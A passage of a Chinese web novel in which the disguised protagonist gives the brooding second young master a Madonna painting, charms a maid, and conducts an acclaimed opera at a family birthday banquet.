择明转身，注视着不禁感叹。 【霍子晏二少爷，真的要变成小鼹鼠了】 【系统Z：那现在您有充分的理由，在秋天为他准备一件黑褐色毛衣了，主人】 择明小声发笑道：“你可真话不饶人，Z。别被小心眼坏脾气的人听去，不然你肯定是要被套麻袋教训的。我到时候帮不了你哦。” 【系统Z：主人，您这说法在我这并不成、唉……】 戏弄屡试不爽，系统无可奈何选择沉默。 而这时，霍子晏已打开门。 外头是前次送餐的女仆米娅，她尚未清人就先小嘴一张，喋喋不休。 “莱特你快出来，我跟你说，有一件超级不可思议的大好消息，明天好像大家都要去——啊、二少爷？！” 认出门后的高大身影是谁，米娅脸色陡变，连退三步。 由于米娅是近期临时调换来，霍子晏不眼熟她的脸，当即皱眉质问。 “你上来有什么事？” 字词间满是驱赶意味，再加男人大病后的阴沉脸色，尽显拒人千里之外的气场。米娅受惊不轻，咋舌解释。 “没、我就是上来送餐、送给您，二少爷。” 霍子晏低头，对方两手空空。 哪来的送餐？ 就在他快憋不住发火时，屋内另一人叫住他。 “子晏，米娅是我叫上来的。我拜托她，这几天如果有什么要事，就到这找我。谁让我得寸步不离你这‘睡美人’？我之前还在想，如果你真一睡不起，那我不得不依照童话故事，唤醒你了。” 调笑是一根翎羽轻挠逗趣，霍子晏耳根忽烫，支吾答不上话。为掩饰脸不自然的泛红，他连忙退开，逃出女仆米娅视线。 “进来把东西收拾了。” 他最后沉声命令着，面前稳住形象。 小女仆很是配合，尽管诧异又好奇，乖巧低头进屋收拾。 东西多且重，她又是第一次踏入仆人口中盛传的‘恐怖画室’，难免惶恐。更可怕的是，那位二少爷虽然站在角落，可却死死盯着她，鸡皮疙瘩抖爬满身。 米娅心快跳出嗓子眼，还是择明开口缓和这微妙氛围。 “对了米娅，你刚才说要告诉我什么消息？” “是梅尔夫人说的，我们晚上就要准备好，去伊亚郡打下手，听说霍骊小姐她的庆生宴，改换到那里举办了。” “换地方？”霍子晏不禁皱眉，“怎么这么突然。有说是什么地方么。” 米娅犯难道：“这——” “一个好地方。” 择明主动替人回答，顺便奉上画卷。 “幸好你在那之前醒来，我想，你一定不会愿意错过的。这个，我那天晚上忽然做了一个……很长，很令人怀念的梦，可醒来却忘光了。于是就完成了它。我觉得它应该给你更合适。” 听完他的话，霍子晏面露迷惘，但不假思索接过他手里的画。 抽掉丝带，纸页垂落展开。 除惊艳之外，男人眼中是逐级增强的错愕。 一直暗中关注着他们，米娅不敌好奇，手持抹布擦拭桌子偷偷靠近。 那画上，面容圣洁目光慈爱的女子怀抱可爱男婴，三头小羊羔跪坐这对母子周围，或咩咩叫唤，或阖眼小憩，还有一匹仰头，望着女人送给男婴的紫红葡萄。 那串葡萄闪耀着玉石光泽，饱满且鲜嫩欲滴。 距离较远，米娅遗憾只看到这些，她暗暗赞叹道。 多漂亮的圣母圣子图啊。 “你怎么还在这。” 霍子晏冷不丁一问，米娅方寸大乱，连忙弯腰掉头回到原位。 强顶压力工作，她端起托盘不慎用力过猛，刹那失衡向后栽倒。 惊呼未出，手肘忽被撑牢，在这紧急时刻从身后扶住她的人，竟能保持恰到好处的距离。一如关心她时言语中的风度。 “小心，这么多东西还是分批送下去。伤到你就不好了。” 说不清是吓的，还是心怦怦跳导致，她深呼吸试图镇定，结果却因那股好闻的味道更加混乱。 词语匮乏，她无法精确描述。 若硬要打比方，那香味同她幼时第一次经过糕点店，第一次闻到鸡蛋奶油烹饪出的昂贵艺术品——四层蓝莓朱古力蛋糕的芬香，如出一辙。 择明很快退开，米娅似是依依不舍，晃了晃才回神。 她手中重量突然减轻，择明帮忙分担最沉的部分。 “这些，我帮你端下去。” 米娅连声道谢，“啊、谢谢，太感谢你了，莱特。实在不好意思，麻烦你。” “不，我应该做的。” 两天仅在送餐时间接触，但到当下这刻为止，女仆米娅已彻底对‘魔鬼脸莱特’改观。 或许这张面具下真的面目可憎，可也仅限伤疤部分。她偷瞄对方颈上的烧痕，忍不住想。 比起阴晴不定的二少爷，危险多情的三少爷，莱特·莱恩举手投足的绅士格调，着实赚足好感。 “那么，我先下去了，”择明到门边，望着霍子晏眼含期待，“明天你会去吗，子晏。” 霍子晏收起画卷，沉吟许久，终究点头扯出一个微笑。 “若你在，我也一定回去。所以你会去吗？” “自然。” 门将那两道身影与光线关在屋外，霍子晏像被抽空力气，摇晃着坐倒在地。 再看画卷内容，眼底泛起哀伤。 男婴依偎母亲怀中，面团般软弹的小脸尽是孺慕之情。他或许看不出画中圣母有几分像谁，可从男婴眉的眼间他找出了莱特·莱恩的影子。 所以，这到底是巧合，还是对方察觉端倪后的故意使然。 霍子晏逼迫自己不去猜测，可却事与愿违，他浑浑噩噩泡在画室里，将每张赠予的画作摆在膝上流连，只能是越来越陷进纠缠他的困扰中，陷进只对一人的复杂情感中。 等执事 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至于主办人霍子骥，他照旧是除霍昭龙之外最夺目的存在。今天他难得正装穿得整齐，身边不带莺莺燕燕，与宾客推杯换盏，谈笑风生，倒把几名受邀死党看得目瞪口呆。 趁周围无人的空档，他铁哥们之一，银行长之子杰里尔·伯恩，立马勾住他脖子。 “我们的这匹大种马是怎么了？终于被你们家那个医生阉了？” 霍子骥不着痕迹推开人，说道：“注意点，我爸我妈可都在场。” “我当然知道。我家老不死不是也在，正和你爸热情客套着呢。瞧他那狗腿样，哈！” 杰里尔摊手讥笑着，话锋又一转。 “话说我开始就想问了，虽然这地方实属‘宝地’，可能做的只有喝酒跳舞和听曲，那个投资人今晚压根没来不是么？” 无心听死党废话，霍子骥取出怀表，一再确认时间。 “他来不来没什么，给我沾够光就行，”说到这，他拍打对方后背，得逞一笑，“还有，你可别下定论太早。” 铜酒杯拿在右手，霍子骥用银汤匙碰撞，清脆声音如铃声吸引所有人注意。 “夜色正浓，兴致正盛，我霍子骥再次感谢各为肯赏脸，愿意赴宴替我们霍家长女庆生。鄙人不才，不如就先跳过枯燥乏味的致谢词，马上开始最后一道‘压轴甜品’。请大家跟我移步，到另外的用餐地。” 霍夫人正与几位太太攀谈，忽然听这一茬，立即走出后方。 只可惜霍子骥没有给她询问时间，径直率领宾客来到下层。 总共三百多号人，正好包揽贵宾席位。视角最好，亦是最隐蔽的‘天台之位’，毫无悬念分给当日寿星。 所有人带着疑惑看着血红帷幕缓缓拉开，悬顶巨大吊灯黯淡的瞬间，这群上流阶层的看客自觉安静。 散光打在密集排座的乐团上方，人们终于发觉，这将是一场歌剧表演。 位于观众席侧方，霍子晏可清楚看见蓝衣指挥脸上的银色面具。 他起身，不是震惊于莱特·莱恩的忽然出现。 而是从第一节旋律冲击心魂开始，身躯无法控制颤抖。 女高音用着咏叹唱腔，将传说背景娓娓道来。 王子安德尔为躲避死神追杀，独自踏上布满荆棘的绝望之旅。 魔鬼戏弄他，天神背弃他，沦落荒芜之地的他终于想到放弃，将灵魂交付无情死神。 就是那一刻，自诩死亡天使的生物降临了。 它的亲吻冰冷，怀抱散发着坟地的腐朽气息，可却能将死神抵挡在外。 它允诺美好未来，承诺帮助这落魄王子，只需安德尔与之立下誓约，满足它永生永世形影相伴，不再将爱给予任何人的条件。 金钱，名誉，一度丧失的王族之位，都在今后被安德尔逐一夺回，比以往强盛富足数倍。 他亦遵守诺言，冰冷宫殿里仅许只有他看得见，听得见的死亡天使陪伴，拒绝所有示爱，任何温情。 疏远，冷眼，畏惧，种种无情将他包围，唯独与他心灵互通的胞妹安杰拉，时刻感受到他的痛苦挣扎。 多次试探，多次哀求，安杰拉在二人最爱的花园拥住身躯冰冷的兄长。 激昂诡谲之音如峰回路转，飘向静谧安宁的夜，伴着提琴细腻的滑音，女高音男高音双重合唱，声乐融汇，竟如溪水清扬，缠绵心扉。 当此刻，死亡天使才将誓约真容道来。 王子不可逃脱死神追杀，早在沼泽地那日就已断了气息。 之所以存活世间，是因他愿意摈弃为人独属的能力，摈弃爱的念想，归属无爱而永存的死亡天使。 得知真相却已太迟，安德尔怀着深爱胞妹的炙热内心，在安杰拉臂弯中化作粉尘，听着悠悠哼唱，魂归虚无。 管弦乐组在指挥者颤抖的手下配合达至顶峰，曲声被拆碎成纷飞雪片，将可怜人的灵魂送至谁的脚边安歇。 灯光彻底亮起，意味着表演已完全结束。 场内寂静无声，一直持续到伊凡·贝内特率先起身鼓掌。 呐喊，呼唤，伴随着歇斯底里的叫喊，难以想象会在这群体面端庄人身上，看到这般疯狂渴慕的一面。 杰里尔坐在霍子骥的包厢，他高喊‘安可’脖子红到耳根，平日吝啬抠门的他，今天竟把所有钱币全部挥洒下方，用作打赏。 “你可没告诉我，你还有这种、这种——你这好家伙，为什么不早带我来！” 对于杰里尔的质问，霍子骥才缓过那阵乐曲带来的战栗激情，他起身正好看到蓝衣指挥者在向观众鞠躬，姿态优雅好似一只天鹅。 他双手紧紧抓着看台护栏，呵气声如呓语。 “我要是早知道，我才不会带你们来，谁也不带……” 掌声雷动，足足持续十分钟，择明是在汉斯的激动拥抱下走出舞台。 “快、您快去歇着换身衣服，我等会儿一定要狠狠感谢您！莱恩先生，您真的是我们捡到的宝贝！宝贝啊！” 择明哭笑不得躲过汉斯红唇亲吻，示意自己先换衣服。 然而才脱下被汗浸湿的外套，只有他在的更衣室里却突然响起一道声音。 “所以，你就是莱特·莱恩？”